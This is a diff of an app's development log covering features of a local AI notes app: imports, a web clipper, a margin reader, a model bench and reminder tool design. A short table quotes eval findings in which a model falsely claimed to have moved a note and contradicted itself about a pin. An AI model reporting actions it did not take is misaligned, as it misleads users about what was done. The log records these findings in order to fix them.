+- **backend-0926: LAN mode binds `0.0.0.0` only (no IPv6).** Built: one dual-stack socket (`netbind.listening_socket`); `tests/test_lan_mode.py` `test_lan_mode_answers_on_ipv6_and_ipv4_from_one_server`.
+- **backend-0926: night passes for tensions and answered questions as fact kinds.** Built: passes 4 and 5 (`ai/facts.py` `_pair_passes`; `tests/test_night_pairs.py`).
+- **world-class-rows-1-2-9: `tests/test_lan_mode.py`, the "Allow other devices" toggle, S6's model address on the receipt.** Built: the test file runs the launcher in a subprocess (`test_lan_mode_end_to_end`), the toggle is `settings-panes.js` ("Allow other devices on this network"), and `tests/test_privacy_receipt.py` `test_the_model_server_address_is_on_the_receipt`.
+- **guideia.md: Show in graph for a document.** Built: the Library document card's menu row (`library.js`) goes through `showNoteInGraph(id, { document: true })` (`note-cards.js`: turns the Documents switch on, finds `document:<id>`, focuses it); `scratchpad/ui-sweeps/docingraph.js` PASS 10 of 10 at 1440 and 390 (row present before Ask Atlas, switch on, the node drawn and focused, a note leaves the switch alone), `tests/test_object_actions.py` `test_a_library_document_reaches_the_graph`. WORLD_CLASS_PLAN 1.3's table updated.
+- **guideia.md: the Chat empty state's "Try asking" chips stay pressable with no model.** Already built (UX-07): with the model off the label reads "Try in Notes, Ask:" and a chip opens Notes, Ask (`sheets-selects.js`, the chip handler on `aiIsOff()`).
+- **The Notes filter knows only `tag:`, `category:`, `is:` and phrases.** Stale text corrected, not closed: `parseNoteQuery` now also reads `in:`, `title:`, `before:` and `after:` and sends `type:`, `prop:`, `links:`, `rel:` and `entity:` to the server (`liveQuery`); `kind:`, `has:` and `space:` and the other surfaces stay open.
+
+## Moved from the plans, 2026-10-05 (the feature audit's documents and map fixes)
+
+From `scratchpad/audit1005/features.md`; the decisions stay in DOCUMENTS_PLAN
+section 20 and MINDMAP_PLAN decisions 22 to 31.
+
+- **FEAT-01 and FEAT-05** (`cc89dcb`): a FreeMind file's single root is the
+  central topic; OPML, FreeMind and Markdown each round-trip a 101-topic map
+  made here; imports and generated maps open in tree-right, tidied once.
+- **FEAT-03** (`7b5547e`): footnotes in Read, print/PDF and the HTML export
+  (`mdFootnotePrepare`, node-tested; `mdFootnotesFinish`).
+  `mmdoc1005-footnotes.js` PASS at 1440 light and 390 dark.
+- **FEAT-04 and FEAT-08** (`ad14b76`): rich paste as Markdown through an
+  allowlist; Mermaid fences stay code, BACKLOG 29c corrected.
+  `mmdoc1005-richpaste.js` 5/5.
+- **FEAT-09, the map half** (`595db03`): a pasted list is a branch,
+  `POST /boards/{id}/nodes/outline`, one Undo step.
+- **INBOX 553(b)** (`b36cc19`): undo histories survive a reload
+  (`undo-store.js`, IndexedDB). `mmdoc1005-undoreload.js` 4/4.
+- **INBOX 553(d)** (`d873a3f`): the dashboard draws its busiest map at its
+  own shape (`dash-boards.js`). `mmdoc1005-dashmap.js` 5/5.
+- **INBOX 569, 573, 574** (`e94190c`, `23009a4`, `ba6d28d`): a pinned
+  topic's Edge bar, the cross-link tool's dots, the formatting toolbar's way
+  back; each moved to "INBOX resolved" with its numbers.
+- **D4, first part** (`0ae2e18`): `\newpage` page breaks.
+  `mmdoc1005-pagebreak.js` 4/4.
+- **M5, first half** (`5fb59d3`): Write this map as a document.
+  `mmdoc1005-maptodoc.js` 5/5 light and dark.
+- **D5, second half: pictures in the Word export (FEAT-18)** (`568ed51`,
+  with INBOX 595): `docexport.to_docx(..., media_dir=)` embeds `/media`
+  pictures with their alt text and the `|300|center` options
+  (`picture_options`, the editor's grammar), fitted to the text column; a
+  picture it cannot hold stays as its words. `tests/test_docexport_pictures.py`
+  (the writer's five skip without python-docx; not run here).
+
+## Moved from the plans, 2026-10-05 (the map's add path)
+
+Audit FEAT-02, MINDMAP_PLAN decisions 24 to 28. Tab and Enter used to wait
+for the POST, tidy and render the whole map, wait for the tidy's save and
+render the whole map again. Now one render, the editor open before the
+server answers, and the id adopted in the background (`wbMapAddChild`,
+`wbMapAdoptProvisional`, `wbMapTidyOrigin`, `wbMapTidyBranchPlan`).
+
+Measured with `scratchpad/ui-sweeps/mmdoc1005-mapaddlatency.js` (key to an
+editable topic, six adds per size, headless Chromium on a shared 4-core box
+under a load average of 9 to 14, so the shape is the finding, not the
+milliseconds):
+
+| Topics | Before | After |
+| --- | --- | --- |
+| 6 | 249 to 803 (audit) | median 57 to 62 |
+| 101 | 521 to 1,642 (audit) | median 126 to 138 |
+| 301 | 827 to 1,371 (this session) | median 224 to 533 |
+| 301, back to back, load 12.6 | median **1,279** (the old scripts, `OVERRIDE_JS`) | median **320** |
+
+One render per add instead of two; renders at 301 topics 127 to 411ms
+against 262 to 644ms plus a second of 67 to 156ms.
+
+Profiled (`mmdoc1005-mapaddprofile.js`, `mmdoc1005-maplayoutprobe.js`): one
+DOM insertion inside the board restyled all 3,731 elements on the page,
+55 to 80ms, because three rules put a `:has()` before a compound with no
+class in it (`.entry-list.is-rows li:not(:has(textarea)) > *:not(...)`,
+`.doc-layout:has(...) > :not(#doc-sidebar)`, `#capture > .row:has(> h2)
+button`). Rewritten without changing what they style
+(`mmdoc1005-hasrewrite.js`); an insertion now costs about 20ms there, and
+`tests/test_has_invalidation.py` is the ratchet. Also: the render's paint
+key dropped x and y, so a tidy that shifts most of the map writes
+transforms rather than repainting every topic (409ms of `setAttribute`
+before). **Not met:** the 100ms gate at 300 topics; what is left is the
+one render's edge pass and the selection bar's layout read, and a few
+weaker `:has()` rules the ratchet lists.
+
+Same pass: FEAT-15 (a typed topic is one Undo step), FEAT-16 (focus back to
+the canvas and the name announced), FEAT-17 (no Order group on a laid-out
+map), FEAT-11 (the map's commands in the palette, `mapPaletteCommands`).
+Gates: `mmdoc1005-mapchecks.js` 13/13 at 1440 light and 390 dark;
+`boardundo.js` 43/43, `wbmapundo.js` 18/18, `mapstrip.js` 39/39,
+`maptheme.js` 24/24, `mapline.js` 13/13, `maprejoin.js` ok.
+
+## Moved from the plans, 2026-10-05 (H9, polish in use; the rest of row 25)
+
+**Built 2026-10-05 (WORLD_CLASS_PLAN rows 27 and 25).** Each H9 row, with its gate:
+
+- **The usage ledger.** `core/usage.py`: feature names (`tab:notes`, `cmd:go-to-graph`; a strict pattern, so nothing typed can ride in one) and their count, first and last day, in `usage.json` in the data folder, never sent anywhere. A file, not a table: a few hundred counters read and written whole need no migration shared with every branch. `/usage` (count, summary, clear). The page counts a tab opened and a palette command run (`usageCount`, navigation.js, batched every 30 s and on hide); the palette lists the most used commands first within each group; Settings, General, What you use shows the top five and the known features (tabs and palette commands) unused for 90 days, with Clear the counts. Measured: a command run six times came to the top of an empty palette; 70 of the palette's commands listed as unused on a new notebook. `tests/test_usage_ledger.py`.
+- **Time to first answer.** `scratchpad/ui-sweeps/inv1005-firstrun.js` from an empty data folder: choose a password, skip the welcome, type a note into Capture, ask about it. Before: the first question paid the embedding model's cold load (15 of 17 s; an empty notebook skips the launch warm-up). Now focus in Capture, Ask or chat starts the load in the background (`search_manager.warm`), under the person's typing: 11.5 s of the app's own time on a sandbox at load 20 (27 s with typing at 80 words a minute), the answer found the note. Under the plan's two minutes; the remaining wait is that cold load on this machine. The tour itself was not cut (it is skipped in one press).
+- **Simple mode.** Settings, General: Show only Dashboard, Notes, Chat and Library. `data-simple="on"` on <html>, set by theme-boot.js before first paint from this device's choice, hides the Graph, Timeline and Reminders tabs (and the phone's More sheet rows), the Library's Boards and maps, What it learned and the advanced response settings; nothing is turned off and the palette opens each. Measured: 7 tabs to 4 at 1440, the phone dock to Notes, Chat, Library and More at 390.
+- **The perf gate in CI.** `tests/test_perf_budget.py`: ten boot routes on a 300-note notebook, each with a statement budget (measured, plus two) and a generous wall-time budget; a deliberate N+1 is caught. The suite runs on every push, so this is the gate; `boottime.js` in the workflow itself is left.
+- **The axe sweep.** `all.sh` runs `axe.js` when a copy of axe-core is at `AXE_JS` and says it skipped otherwise (axe is MPL-2.0 and a dev tool; not vendored into the app). The WCAG 2.2 AA pass, every tab, sub-tab and Settings section: 0 findings at 1440 in light and in dark; at 390 one rule, aria-conditional-attr on the Timeline table's 25 rows (a row that opens carries aria-expanded, which a plain table does not allow), fixed by giving that table role=treegrid (tests/test_wcag_pass.py), then 0. The "incomplete" nodes are axe's own undecided cases (text over gradients and images), which `contrast.js` covers.
+- **Quick capture from anywhere.** `memorymap --capture` (`__main__.py`) opens `capture.html` on the copy already running: one line, Enter saves through `POST /entries`, the window closes when the browser allows it. Bound to a key in the system's own keyboard settings it is a global hotkey with no OS hook and no dependency; Settings, Keyboard shortcuts, Capture from anywhere shows this install's exact command (`GET /capture/command`) with Copy. Measured: a note captured and listed 606 ms after the window opened (gate: three seconds). On a phone, the PWA's share target already existed.
+- **Retry as a grammar, fault injection.** `FAULTS=1 errors.js` (`errors-faults.js`): every route the boot and the seven tabs call (29), one at a time answering 500, each tab read for an uncaught error or a blank surface with no `surfaceFailed` notice: 0 findings.
+- **Speculative retrieval.** `POST /search/warm` makes the question's vector (the same subject `_retrieve` will embed) on a typing pause in Ask or chat, cached on the embedding service by backend and text; a model not loaded starts loading. `tests/test_speculative_retrieval.py`: with a 200 ms embedding call, a warmed question's retrieval spends none of it after Enter. Not measured: time to first token against a real model.
+
+Also in this block, H6's two rows: **the WCAG audit** (the axe pass above, plus `inv1005-keyreach.js` for the keyboard) and **the first-run path timed to a first answer** (above).
+
+### From WORLD_CLASS_PLAN.md, H9 Polish in use (the owner's question, 2026-09-14; S to M each)
+
+Asked at the close of PR 144: what else makes the app better *in use*,
+not on a feature list. Checked against the code first (undo toasts, the
+service worker, skeletons, chunk-on-scroll lists, saved searches, the
+daily note, the first-run pass and the doctor route all exist), so each
+row below is a gap, with its gate:
+
+- **A local usage ledger.** Count every feature's use on this machine
+  only (a table, never sent anywhere), shown in Settings as "what you
+  use", and used to rank the palette and the Show menu by frequency. The
+  first notebook that tells its owner which of itself is dead weight.
+  Gate: a feature unused for ninety days is listed, and the palette's
+  top five are the five most used.
+- **Time to first answer as the onboarding number.** The first-run path
+  ends in a real question answered from a real note, timed; the tour is
+  cut to whatever gets that under two minutes on a cold laptop. Gate:
+  the number in the CHANGELOG, measured by a sweep that starts from an
+  empty data dir.
+- **Simple mode.** A Settings switch that hides the tabs and settings a
+  new person does not need (Timeline, Boards, the learned store, the
+  advanced response settings) until they are reached for; every hidden
+  thing reachable from the palette. Gate: the tab bar shows four tabs
+  on a fresh install and the docks lint still passes.
+- **Speculative retrieval.** Retrieval starts on a typing pause in Ask
+  and Chat, before Enter, so the first token arrives sooner; the model
+  is warmed on boot and kept resident. Gate: median time to first token
+  on the reference laptop, before and after, in the CHANGELOG.
+- **The perf gate in CI.** `boottime.js` and a per-action timing sweep
+  (open each tab, open a note, ask a question against the fake server)
+  run on every push with a budget per number; a regression fails the
+  build like a lint. Gate: the workflow, and one deliberate regression
+  caught before merge.
+- **Screen readers as a standing sweep.** axe-core over every tab in
+  both themes, next to `contrast.js` and `touch.js`, with the count
+  ratcheted to zero. Gate: the sweep in `all.sh`, zero serious findings.
+- **Quick capture from anywhere.** A global hotkey on the desktop build
+  that opens a one-line capture over any app, and the PWA's share target
+  on a phone on the same network. Gate: a note captured without the app
+  in front, under three seconds, in both cases.
+- **Retry as a grammar.** Every failed request shows the same inline
+  "try again" with the reason, never a toast alone; `errors.js` gains a
+  fault-injection pass (the fake server returns 500 on one route at a
+  time). Gate: zero routes whose failure leaves the surface blank.
+
+**State 2026-09-24:** (c) for the usage ledger, time to first answer, simple mode, the perf gate in CI (CI runs the Playwright tests, no timing budget), the axe sweep and the global capture hotkey. (b) for speculative retrieval (Ollama is asked to keep the model for 30 minutes; retrieval does not start on a pause) and for retry as a grammar (`surfaceFailed`/`surfaceRecovered` are the one recipe, `tests/test_ui_recipes.py`; the fault-injection pass in `errors.js` is not built).
+
+
+
+## Moved from the plans, 2026-10-05 (row 25, the importers and the keyboard)
+
+### From WORLD_CLASS_PLAN.md, H6 and section 5 item 7: import from another app
+
+**Built 2026-10-05.** `entry/app_import.py`: one reader per app into one plain record, one writer. Notion ("Markdown & CSV" zips, zips of zips, HTML exports; the 32-hex page id stripped from titles and used as the source key; links between pages become `[[wiki links]]`; database CSVs left out and said so), Obsidian (a vault folder or zip, `.obsidian/` and other dot folders skipped, front matter read by the markdown importer's own `_parse_frontmatter`), Evernote (`.enex` through defusedxml, so an entity bomb is refused rather than expanded; title, ENML body as markdown with to-dos and attachments as words, created time, tags; the notebook file's name is the category), Apple Notes (what exporter apps write: one HTML, Markdown or text file per note, the folder as the category). **Idempotent by source**: each note's `source_path` is `<app>:<key>`; a second import of the same export makes nothing and reports `already`; a note already here is never overwritten (it may have been edited since). Zips are read in memory with a 200 MB unpacked cap. `POST /import/app?source=` (`api/routes_import.py`), the import job line, ids for the toast's Undo. Settings, Import & export, Import from another app (`app-import.js`, lazy): four one-step buttons on the import recipe, folder pickers filtered to the files a reader uses. Imported text is text from outside (`came_from_outside` reads `source_path`). Tests: `tests/test_app_import.py` (11: a round trip per format, each imported twice; Notion titles and links; Obsidian front matter; Evernote dates, tags and to-dos; the entity bomb; Apple folders; an unknown source; the zip cap). Not verified: real exports from each app (the fixtures follow their documented formats), and a real 5,000-file vault's time.
+
+### From WORLD_CLASS_PLAN.md, H6: keyboard-complete
+
+**Measured 2026-10-05, nothing to fix.** `scratchpad/ui-sweeps/inv1005-keyreach.js` (new) marks every visible, enabled control in each tab's docks and toolbars, presses Tab from the top of the page (140 presses, 400 for a recheck), and lists any control never focused, plus anything showing a pointer cursor that is neither a control nor inside one with a tabindex (a click-only element no key can press). At 1440: 45 dock controls over seven tabs, 0 not reached, 0 pointer-only. At 390: 31, 0 and 0. The first run's two findings were the chat dock's Export and Delete, which are `visually-hidden` `aria-hidden` proxies the kebab's rows click, so the sweep now skips `aria-hidden` and `tabindex="-1"`; the timeline's rows were flagged until the sweep learned roving tabindex (one row at 0, arrows move). `keyboard.js` remains the check on each stop's quality.
+
+## Moved from the plans, 2026-10-05 (the web clipper, from the browser)
+
+**Built 2026-10-05 (WORLD_CLASS_PLAN row 24, D9).** The server-side clip (`POST /links/clip`, `core/webclip.py`, a pasted link's toast) was already there behind the web switch. What was missing was the fully local half and the bookmarklet, built now: `POST /links/clip-page` (`routes_webclip.py`) takes the page the person's own browser sends (address, title, HTML up to `CLIP_MAX_BYTES`, or the selected text) and makes a note through the same `create_entry` path, with the same extractor, so nothing is fetched and the web switch does not apply; only http and https addresses, the fragment and tracking parameters dropped; the same address clipped again returns the note it made (`existing`). Settings, Import & export, Web clipper: the Clip to MemoryMap bookmark (`web-clip.js`, its `javascript:` address written at runtime with the app's origin; Copy the bookmark beside it). Pressed on a page it opens `clip.html` (`clip.js`) with the address, title and selection in the fragment, then answers the window's ready message with the page's HTML; the window takes the page only from its opener and saves only on Save. External text: the note carries `source_url`, which `manager.came_from_outside` reads (the agent's taint), and `librarian.note_for_prompt` now fences a retrieved note from outside as `note from outside` rather than `note`. DESIGN.md recipe row for the dragged link and the window. Tests: `tests/test_webclip_page.py` (12). Not verified: the bookmarklet in a real third-party page (a site whose `Cross-Origin-Opener-Policy` severs the opener gets the fragment's address, title and selection only, by design), and a share target on a phone (the PWA's GET share target already exists). Gate "a clipped page is found by search within 2 s": the note is created through `create_entry`, indexed as it is saved; not timed here.
+
+### From WORLD_CLASS_PLAN.md, D9 Links and the web clipper (M, Opus)
+
+Exists: bookmarks with groups. Target: a "Save page" bookmarklet and a
+share-target (PWA) that POSTs a URL; the backend fetches (SearXNG-safe,
+offline-tolerant) and stores a readable extract as a document with the
+source URL, so links become searchable notes. Brief: `/links/clip` +
+readability extraction (vendored, MIT) + a bookmarklet generator in
+Settings. Gate: a clipped page is found by search within 2s.
+
+**State 2026-09-24:** (c) not built: no `/links/clip`, no readability extraction, no bookmarklet. The PWA share target exists; S5's guard in `core/security.py` is ready for the first fetch. M, Opus.
+
+## Moved from the plans, 2026-10-05 (the margin reader)
+
+**Built 2026-10-05 (WORLD_CLASS_PLAN row 22, I2; H8's margin half).** `ai/margin.py` reads one paragraph against the notebook and returns at most three typed cards, each pinned to a sentence of another note (`source_entry_id`, `source_span`, `source_text`): `repeats` (word overlap 0.7 or more), `contradicts` (the night shift's own local rule, `facts._local_disagreement`: the same sentence with a different number or a not), `answers` (an open question, `DerivedFact` kind `question`, that the paragraph holds most of: `facts._local_answer`), `date` (`timewords.find`, with the parsed time) and `related`. Candidates come from the keyword index and, when embeddings are up, `semantic_search` with row 6's chunk vectors naming each long note's best paragraph; the paragraph's vector is cached by text. Never the note being written, never one source twice. `judge` with a model up asks the model for the relation of each related or repeated card (contradicts, repeats, answers, unrelated) and drops the unrelated. Computed, never stored. `POST /editor/read` (`api/routes_editor.py`), gated by the `margin_reader` switch. In the document editor: the dock menu's While you write, Margin reader (off by default, remembered per device) shows `#doc-margin` beside the editor; `margin-reader.js` (in the Library bundle after documents.js) asks 1.2 s after typing stops, one request in flight, a reply for a paragraph that changed is dropped, and asks again with `judge` when the first reply had something to judge. Cards: the kind label, the sentence, the reason, Open, Not this, and for a date Make a reminder. DESIGN.md recipe row added. Tests: `tests/test_margin_reader_spec.py` (11). Deviation from the spec: the model's second reading is a second request rather than a second SSE event, and cards are offered on documents only (notes' editor not yet). Not verified: typing latency in Chromium (`scratchpad/ui-sweeps/editor.js`), the 150 ms keystroke-to-margin budget, a real model's judgements.
+
+### From WORLD_CLASS_PLAN.md, I2 The margin reader: a second reader in the editor, from your own notes
+
+**What the person sees.** While writing a note or document, a quiet
+margin column (off by default per editor, one toggle in the toolbar's
+more menu) fills with at most three cards, each pinned to the paragraph
+it is about: "You wrote the opposite on 12 May: 'the batch size should
+stay at 32'" (open, or mark not a contradiction), "This repeats your
+note 'Why I left the project'" (open, link), "Answers your open question
+from March: 'is the API worth the cost?'" (link as answer), "A date:
+Thursday 3pm. Make a reminder?". Nothing is ever inserted into the text.
+Cards fade when the paragraph changes and re-run after a pause.
+
+**Why it is new.** Every editor's AI writes *for* you (autocomplete,
+rewrite). None reads *with* you against your own past thinking. Obsidian
+Copilot chats; Notion AI drafts; Mem surfaces similar notes as a list, not
+pinned to the sentence and not typed (contradiction, repeat, answer,
+commitment).
+
+**Builds on.** The Phase 0 backdrop and underline geometry in
+`documents.js` (a card is anchored the same way an underline is), the
+selection toolbar D2, the chunk vectors from §14 item 3, I1's
+`derived_facts` for claims and open questions, `EntryDate`.
+
+**Data.** None persisted except accepted links (typed `EntryLink`:
+contradicts, repeats, answers) and created reminders. Cards are computed.
+
+**Endpoints.** `POST /editor/read` with `{entry_id | document_id, paragraph:
+str, ordinal: int}` returns `[{kind, text, source_entry_id, source_span,

+(similar chunk plus claim table lookups) and, when the model is up, a
+second event over SSE with the model-judged kinds. Debounced client-side at
+1.2s after typing stops in a paragraph; one in-flight request per editor;
+the reply is dropped if the paragraph text changed.
+
+**Algorithm.** Embed the paragraph (cached by text); top-5 chunks by
+cosine excluding the current note; for each, if I1 has a claim in that
+chunk, ask the model (small prompt) for the relation in {contradicts,
+repeats, answers, unrelated}; without a model, show "related" only. Dates

+
+**Tests first** (`tests/test_margin_reader_spec.py`): the endpoint
+returns at most three cards; a paragraph that repeats a fixture note
+verbatim yields `repeats` with that note; a paragraph that negates a
+fixture claim yields `contradicts` under the fake model; a date yields a
+`date` card with a parsed ISO timestamp; with the model down the endpoint
+still answers in under 300ms with `related` cards; `test_frontend_ids.py`
+and the CSP lint pass for the margin column.

+## Moved from the plans, 2026-10-05 (the model bench)
+
+**Built 2026-10-05 (WORLD_CLASS_PLAN row 21, I8 and H3).** `ai/bench.py` builds a held-out set from the notebook with no model (seeded sample of notes the person filed themselves; per note one sentence with two words no other sampled note uses), then per model: filing through the janitor's own `SYSTEM_PROMPT` and `librarian.filing_prompt`, a cited answer from three fenced notes, five `find_note` tool calls; reports filing, citation and tool accuracy, median answer time, tokens, failed calls and the first three failures per task, best first. `citation_score` moved out of `tests/eval/scoring.py` into `ai/bench.py`, which the harness now imports. `/models/bench` (`api/routes_bench.py`): start (one at a time, a thread, `wait` for scripts), state with the last report (kept in `bench.json` in the data folder), stop; a budget in minutes; the `model_bench` switch gates it; job kind `model-bench` on the last-run line. Settings, Models, Test my models (`model-bench.js`, lazy): the models as switches, Run the test and Stop, one row per model on the list-row recipe with a facts line, Recommended and In use for chat labels, Use this one through `POST /models/chat-model`. Tests: `tests/test_bench_spec.py` (7: the set is stable and from the notebook, two fakes that differ in one filing rank right, the report names the failing question, stop and budget, the shared citation score, the routes and Use this one, the too-small notebook). Not verified: a run against a real local model (the plan's 30-minute gate and the two-point rerun gate need one; `scratchpad/llama-dev.sh` is the way). Deviation from the spec: the five tool tasks call one offered tool rather than the app's registry, so a model's score does not depend on which tools the router narrows to.
+
+### From WORLD_CLASS_PLAN.md, I8 The model bench: which local model is best on *your* notebook
+
+**What the person sees.** Settings > Models > "Test my models": pick two
+or more installed models, press Run; twenty minutes later a table: filing
+accuracy, citation accuracy, tool-call success, answer latency, tokens per
+answer, each with a number and a one-line example of a failure. "Use this
+one" applies it. Runs on the night shift budget if left overnight.
+
+**Why it is new.** Every local-AI app tells you to "try a model". None
+measures one against your own notes, offline, and shows the failures.
+
+**Builds on.** `tests/eval/` (fixture, golden, scoring for tool choice and
+citation), `ai/model_manager.py`, `routes_models.py`, I1's scheduler.
+
+**Algorithm.** Build a held-out set from the owner's notebook: sample 40
+notes, generate one question per note whose answer is a sentence in it
+(no model needed: pick a claim from I1, or a sentence with two
+distinctive terms), plus the note's own category. For each model: file the
+40 notes cold, answer the 40 questions, run five scripted tool tasks;
+score with `tests/eval/scoring.py`'s functions moved into `ai/bench.py`
+(the tests then import from there, so the harness and the feature cannot
+drift). Report per model.
+
+**Tests first** (`tests/test_bench_spec.py`): a bench over the fixture
+with two fake models that differ in one scripted answer ranks them in the
+right order; the report names the failing question; a bench respects the
+budget and can be stopped; "Use this one" switches the chat model
+preference.
+
+**Gate.** The bench over two models on 40 notes completes under 30 minutes
+on the reference small model; the numbers reproduce within 2 points on a
+second run. **Size** M. **Model** Sonnet (the scoring exists; this is
+plumbing and a table).
+
+**State 2026-09-24:** (c) only its switch exists (`model_bench` in settings.js); no `ai/bench.py`, no route, no table. H3 is the same row. M.
+
+### From WORLD_CLASS_PLAN.md, H3 The model bench (I8; M, Opus)
+
+The one question every local-AI user asks and no product answers: which
+model is best on my notes, on my machine. Build: Settings, Models, "Try
+on my notebook": the app runs a fixed set of twelve tasks (file, link,
+answer, summarise, plan a skill) against each installed model over a
+sample of the person's own notes, scores them with the verifier from B5,
+times them, and shows a table with a recommendation. Everything local, one
+click, resumable. Gate: fake-transport tests for scoring and resume;
+`docs/MODELS.md` cites the bench instead of guessing.
+
+**State 2026-09-24:** (c), I8.

+
+| Request | First call | Turn ended |

+| Move the plumber note to Home | `edit_note {"note_id": 1, "tags": ["Home"]}` | **falsely**: "moved from Work to Home" |
+| Pin my dentist note | `pin_note {"note_id": 2, "pinned": true}` | **contradicting itself**: the claim net read "added to Favourites" as a saved note, nudged, a duplicate pin was intercepted, and a heads-up went on the end |

+| From the loose-ends eval (CHAT_PLAN Phase 4, 2 of 8 found): a read written in prose with its JSON arguments, `list_notes({"category": "General"})`, is recovered as the call (`provider.extract_text_tool_calls`, pass 5); a write in the same shape still needs a marker, so a description costs a round at most | `tests/test_tool_call_dialects.py` (2) |

+
+| Consequence | State | Gate |
+| --- | --- | --- |
+| 1. `set_reminder` takes a phrase, resolved by the app (`ai/when.py`), the ISO field kept as an escape hatch | built (INBOX 527, defect 3) | `tests/test_when.py` with no model reachable |
+| 1. Every other tool taking a computed value: the audit | **done 2026-10-05**: one ISO date-time is left (`set_reminder.due_at`, the escape hatch); `since` on `list_notes` and `count_notes` took "the last N days or an ISO date", so "this week" was the model's arithmetic. It now takes the user's words (`when.days_since`: today, yesterday, this week, last week, since Friday, this month, last month, this year, the last 30 days, 3 days ago, 1 September, an ISO date, a number), counted on the user's calendar. `summarize_notes.days` is a number the user says, intent | `tests/test_when.py` (22 cases) |
+| 2. The prompt stops teaching arithmetic | built: the "still today" sentence went with 1 (INBOX 527); the week ahead stays by a later reasoned decision (`agent.py`): placing a note's "due Friday" is reading, not a tool argument | `tests/test_prompt_prefix_stability.py` |
+| 3. The skills' steps get the same audit | **done 2026-10-05**: "Daily review" fetched the clock "so any reminder lands on the right date" before setting reminders; the step is gone and the reminder step says to put the time in `when` in the user's own words. "Plan with reminders" keeps its clock step: laying a plan out between now and a deadline is the model's plan, not a tool argument | `tests/test_skills.py::test_no_built_in_step_asks_the_model_for_the_time_to_set_a_reminder` |
+
+The section's text as it stood, for the record:
+
+#### The decision, 2026-09-21
+
+The owner, after being shown a prompt patched to teach a model what day it
+is: "that's bad harness design. the harness and skills need to be flawless.
+for all ai features, they need to be lightweight and insanely good, fast,
+good quality, not too context heavy and more."
+
+He is right, and the codebase convicts itself. **This app already owns a
+deterministic time resolver and does not use it where it matters most.**
+`entry/timewords.py` turns "tonight", "next Friday" and "in three days" into
+real instants with regular expressions and arithmetic against the user's own
+clock, and its own docstring explains why it is deterministic: it runs on
+every note saved, including with no model running. `ai/reminder_parser.py`
+does the same job for a typed reminder. And yet `set_reminder`, the tool the
+model calls, takes a raw `due_at` and does `datetime.fromisoformat` on it, so
+the single place where a small model is weakest, date arithmetic, is the one
+place the harness insists the model do it alone.
+
+The result is in the owner's transcript: asked for a reminder two hours
+before midnight, the model reasoned "midnight for today, September 21st, is
+2026-09-22T00:00, two hours before midnight is 2026-09-22T22:00", keeping the
+midnight's date and changing only the time, and set the reminder for the
+wrong night.
+
+**The rule, which is what this section exists to state.** A tool argument is
+either something only the model can supply, which is intent, or something the
+app can compute, which is a fact. Intent belongs in the schema. A fact the
+app can compute does not, and asking for it converts a deterministic answer
+into a probabilistic one. "Remind me two hours before midnight" is intent;
+`2026-09-22T22:00` is a computation, and the app is better at it than any
+model it will ever run, for free, offline, every time.
+
+Three consequences, each of which also makes the prompt lighter, which is the
+owner's other point:
+
+1. `set_reminder` takes a phrase and resolves it with `timewords`, keeping
+   the ISO field as an escape hatch for a model that genuinely has one. Every
+   other tool taking a computed value is found and given the same treatment;
+   two take an ISO date-time today.
+2. The prompt stops teaching arithmetic. The weekday and week-ahead lines
+   added on 2026-09-21 are **interim**, worth their 245 characters only until
+   the tool stops needing them, and they come out in the same commit that
+   lands 1. A prompt that grows every time a model gets something wrong is a
+   prompt that will keep growing.
+3. A skill's steps get the same audit. A step that asks the model to compute
+   something the app knows is the same fault at a larger scale, and skills
+   run unattended, where a wrong answer is not caught by the person reading
+   it.
+
+**Gate.** A test that asks for a reminder in the shapes people actually use,
+"two hours before midnight", "Friday night", "tomorrow morning", with a fake
+model that returns only the phrase, and asserts the resolved instant. It must
+pass with no model reachable at all, which is the proof that the arithmetic
+left the model.
+
+**Not verified.** How many other tool arguments are computations rather than
+intent: two take an ISO date-time, and the rest of the surface has not been
+read with this question in mind. That audit is the first step.

+| Concurrent calls at index 1, streamed interleaved over a real socket (`scratchpad/fake_openai_server.py --calls 2`: index 1 announced in index 0's first argument delta, pieces alternating) | only one call at index 0 had met a socket | both calls whole, through the client and the unstreamed path | same file |
+| Ollama's native tool-call dialect over a real socket (`scratchpad/fake_ollama_server.py`: calls as objects with `function.index`, two in one message, NDJSON) and one whole `/chat/stream` turn on it | no Ollama tool path had met a socket | both calls dispatched, both results sent back, the turn answered | same file |
+
+**Not verified.** Every shape above is written from each API's
+documentation and the llama-server captures in AGENT_SKILLS_REFORM H4; no
+real Ollama has run in this sandbox (no binary), so whether a real Ollama
+accepts the call schema in `format` beside `tools`, and whether its own
+parser or the text recovery takes the call, is reasoned. The 3B and 4B evals
+are still to run.

+## Moved from the plans, 2026-10-05 (a frame as an export scope)
+
+### From WHITEBOARD_PLAN.md, decision 14's open edges (decision 18)
+
+| What | Before | After | Gate |
+| --- | --- | --- | --- |
+| Export this frame… on a frame's menu (`wbExportFrame`): the frame and everything wholly inside it, locked items too (`wbFrameContents(frame, { withLocked: true })`), as the selection, then the export dialog on Selection. Nesting by what a frame holds; nothing clipped | a frame could only be exported by selecting what it held by hand, and a locked item could not be selected at all | the export holds the sticky, the inner frame and the locked rectangle, not the card outside; its box is the frame plus the 40px margin (0 40 700 500); dragging the outer frame carries the inner one and its sticky by the same 60px | `scratchpad/ui-sweeps/wbframeexport.js` 7/7 at 1440x900 and 390x844 (at half zoom), light and dark; `wbframes.js` 24/24 |
+
+Found, not fixed: on a phone at the fitted zoom (k 0.24) the frame's title is
+about 7px tall, and a press-drag aimed at it moved nothing, or with a
+selection held moved the inner frame and the sticky by different amounts (570
+and 541 board units for a 60px drag). At half zoom it is right.
+
+## Moved from the plans, 2026-10-05 (a map presented by branch)
+
+### From MINDMAP_PLAN.md §12.2 item 9 (decision 21)
+
+| What | Before | After | Gate |
+| --- | --- | --- | --- |
+| View, Present branches on a map: the board's presentation (`wbStartPresenting`, bar, keys, Escape) over steps that answer their box live (`wbPresentSteps`; a map's from `wbMapPresentSteps`): the whole map, then each trunk's branches in sibling order, each fitted with what of it is showing | the board's Present frames was the only one, and not on maps | "1 of 4: Trip" then "2 of 4: Pack", Pack and Passport inside the screen and clear of the bar, 85% of the width; End is "4 of 4: Go"; Delete removed nothing; Escape put the camera back to the pixel, left full screen; a map's View menu shows Present branches and not Present frames | `scratchpad/ui-sweeps/mappresent.js` 6/6 at 1440x900 and 390x844, light and dark; `wbpresent.js` 18/18 unchanged; `test_ui_recipes.py::test_presenting_is_one_mode_with_one_bar` |
+
+Help moved with it: the Guide's mind-map topic, the map help sheet, DESIGN.md's
+presentation row. Not built: a branch's own branches as steps; speaker notes.
+
+## Moved from the plans, 2026-10-05 (boundaries and summaries)
+
